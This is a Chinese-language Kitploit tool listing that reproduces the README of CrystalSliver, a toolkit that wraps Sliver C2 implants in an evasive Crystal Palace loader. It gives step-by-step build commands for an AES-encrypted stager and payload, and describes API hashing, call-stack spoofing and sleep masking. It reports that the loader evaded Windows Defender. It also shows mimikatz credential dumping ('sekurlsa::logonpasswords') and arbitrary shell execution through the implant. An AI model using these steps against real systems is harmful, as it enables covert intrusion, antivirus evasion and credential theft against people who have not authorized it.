Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CrystalSliver — Crystal Palace 规避工具包(适用于 Sliver) | Kitploit
工具/GitHubGitHub/licitrasimone/crystalsliver
渗透测试框架权限提升漏洞利用框架持久化机制IDS/IPS规避横向移动Shellcode后渗透利用命令与控制红队Shellcode 生成Payload 开发
108142个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHublicitrasimone/crystalsliver

CrystalSliver

Crystal Palace 规避工具包(适用于 Sliver)

查看仓库

crystal-kit-sliver

Crystal Palace 规避工具包移植到 Sliver C2。

这是 rasta-mouse 的 Crystal-Kit(Cobalt Strike)首次公开移植到 Sliver。它遵循了 Crystal-Kit-Xenon(Mythic)所验证的跨 C2 模式。

  • 许可证: MIT — 版权所有 (c) 2026 Simone Licitra
  • 目标平台: 仅 Windows x64(上游限制)
  • 状态: 端到端验证 — Kali 构建流水线 + Windows 10 x64 FLARE-VM 运行时已通过。Sliver 会话已建立。

功能简介

用 Crystal Palace(Raphael Mudge,BSD)替换 Sliver 默认的反射加载器和后渗透执行路径。结果是一个不受位置影响的代码(PICO)块,其中包含:

  • ror13 哈希 API 解析(无明文 LoadLibrary / GetProcAddress)
  • 对 VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA 的 IAT 钩子
  • 回调期间的 Draugr 调用栈欺骗
  • 对嵌入 DLL 进行 XOR 睡眠掩码
  • 基于 libtcg 的运行时混淆

Sliver 植入 DLL(或任何后渗透 DLL)在 PICO 内部被 XOR 掩码,仅在执行时在内存中解除掩码。


两种使用场景

A — 植入规避(主要)

原始 Sliver 植入 DLL 永远不会直接在目标上执行。相反,它被 Crystal Palace 包装成 PICO,经过 AES-256-CBC 加密,并通过自定义加载器(约 17 KB)传递,该加载器在内存中解密并执行它。

root@kitploit:~
sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB,无嵌入载荷)
                                   → payload.dat    (~36 MB AES-256-CBC 密文)
        │
        ▼ 将两个文件传递到目标上的同一目录
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC 解密 payload.dat → RW 内存中的 PICO
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace 入口
        ▼ 注册 .pdata → TLS 回调 → DllMain → StartW() → beacon goroutine → HTTP 会话

B — 后渗透规避(次要)

一旦会话处于活动状态,通过 Sliver 扩展使用 Crystal Palace 运行敏感 DLL(侦察、凭据提取器等)。

root@kitploit:~
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

通过在参数后附加 | 来传递运行时参数,无需重新构建:

root@kitploit:~
sliver > crystal --payload C:/path/file.pico.bin|args here

crystal-loader.x64.dll 是一个 Sliver DLL 扩展,它将 PICO 块从磁盘读入 VirtualAlloc(RW) 区域,通过 VirtualProtect 将其翻转为 RX,然后跳转到 Crystal Palace 入口点。从不持有 PAGE_EXECUTE_READWRITE 映射。路径使用正斜杠。参数格式为 type:string(不是 BOF 二进制)。DLL 由 Sliver 在内存中加载 — 不会作为文件写入目标磁盘。

C — 通过 Crystal Palace 内置 shell 执行

crystal-exec 是同一扩展中捆绑的第二个命令。它通过 Crystal Palace 规避运行任意 shell 命令,使用直接嵌入在扩展 DLL 中的 PICO — 无需上传 PICO 文件。

root@kitploit:~
sliver > crystal-exec --cmd "whoami /all"

输出通过管道通过现有 Sliver 会话返回给操作员。这是执行一次性 shell 命令的最快路径,当您不需要完整的后渗透 DLL 时。


仓库布局

root@kitploit:~
crystal-kit-sliver/
├── loader/              ← 反射加载器源码(场景 A) — 直接来自 Crystal-Kit
├── postex-loader/       ← 后渗透加载器源码(场景 B) — Crystal-Kit + Xenon 补丁
├── libtcg.x64.zip       ← 上游二进制依赖(为构建方便保留在树中)
└── sliver-glue/         ← Sliver 特定构建胶水
    ├── extension.json           Sliver 扩展清单
    ├── generate.sh              将后渗透 DLL 包装成 PICO(场景 B)
    ├── generate-implant.sh      将 Sliver DLL 包装成 PICO(场景 A)
    ├── bundle-implant.sh        将 PICO + Crystal Palace 演示加载器捆绑到 drop.zip(遗留)
    ├── bundle-stager.sh         构建自定义加载器:csvchelper.exe + payload.dat(主要)
    ├── pack-extension.sh        将 DLL + 清单打包成 Sliver 扩展 tarball
    ├── Makefile                 编译对象 / 打包 / 清理
    ├── stager/                  自定义加载器源码(AES-256-CBC,asInvoker 清单)
    └── wrapper/                 crystal-loader.c(BOF 兼容 DLL 包装器)

docs/
├── RUNBOOK.md           Kali → Windows 实验室逐步指南
├── PORTING_MAP.md       逐文件映射 Crystal-Kit → 本仓库 + 字面差异
└── TOOLCHAIN.md         构建前提条件和流水线细节

快速构建(Kali / Debian / Ubuntu)

root@kitploit:~
# 1. 工具链
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace 发行版(BSD-3-Clause,Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. 构建所有
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. 场景 A — 包装 Sliver 植入并构建加载器
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → 生成 build/csvchelper.exe + build/payload.dat(将两者传递到目标)

# 5. 场景 B — 包装后渗透 DLL(postex.sh 处理命名并打印 sliver 命令)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# 带有内嵌参数: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — 重新构建内置命令执行器(仅在修改 crystalexec.c 后需要)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh

完整操作流程请参见 docs/RUNBOOK.md(Sliver 安装、监听器设置、目标执行、故障排除)。


已验证项


依赖项

本仓库不重新分发 crystalpalace.jar。构建流水线会从外部获取它,并通过 CRYSTAL_PALACE_HOME 环境变量引用。


归属

完整的上游版权和许可证列表请参见 NOTICE.md。简要摘要如下:

  • rasta-mouse — Crystal-Kit (MIT) — 基础反射加载器、后渗透加载器、spec 文件
  • nickswink — Crystal-Kit-Xenon (MIT) — 跨 C2 补丁模板(移除智能指针 + dll_args 节)
  • Raphael Mudge / AFF-WG — Crystal Palace (BSD-3-Clause) — 链接器和 PIC 工具
  • TrustedSec — COFFLoader (BSD-3-Clause) — BOF 兼容层(beacon.h、beacon_compatibility.c/h)
  • BishopFox — Sliver C2 (GPLv3) — 目标框架

路线图

  • 1 — 审计上游仓库 + 提取 Crystal-Kit 和 Crystal-Kit-Xenon 之间的差异
  • 2 — 工具链文档 + 仓库脚手架
  • 3 — 带有字面差异的逐文件移植映射 (docs/PORTING_MAP.md)
  • 4 — 复制源码 + 应用 Xenon 补丁 + LICENSE + NOTICE
  • 5 — sliver-glue/ 胶水脚本和扩展清单
  • 6a — 编写 DLL 包装器、构建(MinGW 15.2)、打包、烟雾测试 shellcode
  • 6b — Crystal Palace CLI 已验证,构建了真正的端到端 PICO
  • 6c — 双场景 A/B:generate-implant.sh + bundle-implant.sh
  • 6d — Windows x64 实验室运行时测试 — 场景 A 已验证(在 FLARE-VM 上建立 Sliver 会话)
  • 6e — 场景 B 运行时已验证(crystal --payload 有效,参数格式修复为 ,正斜杠路径)

免责声明

本工具为进攻性安全工具,旨在用于授权的红队演练、实验室研究和教育。仅在获得书面授权的环境中使用。作者不对滥用行为承担任何责任。

下载工具
项目状态证据
所有 Crystal-Kit 源码在 MinGW 15.2 + NASM 3.01 下编译通过通过make all 干净,每个加载器 8 个 .o + 1 个 .bin
Xenon 后渗透补丁存在通过dfr "ror13"、_DLLARGS_ 节、DLL_PROCESS_ATTACH 中的 dll_arguments 参数
Crystal Palace CLI 已验证通过./link <spec> <dll> <out.bin> [%KEY=value] — 位置参数,在 dist/README 中有文档
端到端 PICO 构建(场景 A)通过从测试 DLL 生成 117 KB PICO
端到端 PICO 构建(场景 B)通过通过 postex-loader/loader.spec 生成 111 KB PICO
Sliver 扩展包装器 DLL 构建通过crystal-loader.x64.dll ~42 KB,crystal-exec.x64.dll ~75 KB — 两者均为 PE32+ 导出 Initialize 符号;无 RWX;已去除符号
扩展 tarball 正确打包通过37 KB tarball 已验证(tar -tzf)
自定义加载器构建(双文件交付)通过bundle-stager.sh → csvchelper.exe(17 KB,熵 4.784)+ payload.dat(AES-256-CBC)
Windows 上运行时执行(场景 A)通过在 Windows 10 x64 FLARE-VM 上建立 Sliver 会话;加载器通过 Defender(Wacatac.B!ml + ZomBytes.B)
Windows 上运行时执行(场景 B)通过crystal --payload C:/path/file.pico.bin — 通过后渗透 PICO 建立新的 Sliver 会话;参数格式验证为 type:string,正斜杠路径
crystal-exec 命令通过shell 命令输出通过管道返回给操作员;PICO 嵌入在扩展 DLL 中,无需上传
依赖项许可证获取方式是否捆绑?
Crystal Palace(crystalpalace.jar、link 等)BSD-3-Clause,(c) 2025 Raphael Mudge / AFF-WGcurl -O https://tradecraftgarden.org/download/cpdist-latest.tgz否(.gitignore 排除 external/)
libtcg.x64.zip上游二进制,许可证未声明(可能源自 QEMU TCG)从上游 Crystal-Kit 仓库复制是,为构建方便保留在树中
Sliver C2GPLv3https://sliver.sh否 — 仅为运行时依赖
MinGW-w64 + NASMGPL 兼容apt install 或 brew install否
type:string
  • 6f — crystal-exec 命令:通过 Crystal Palace 内置后渗透 shell 执行(无需上传)
  • 6g — 通过 | 分隔符传递运行时参数,实现动态 DLL 参数而无需重新构建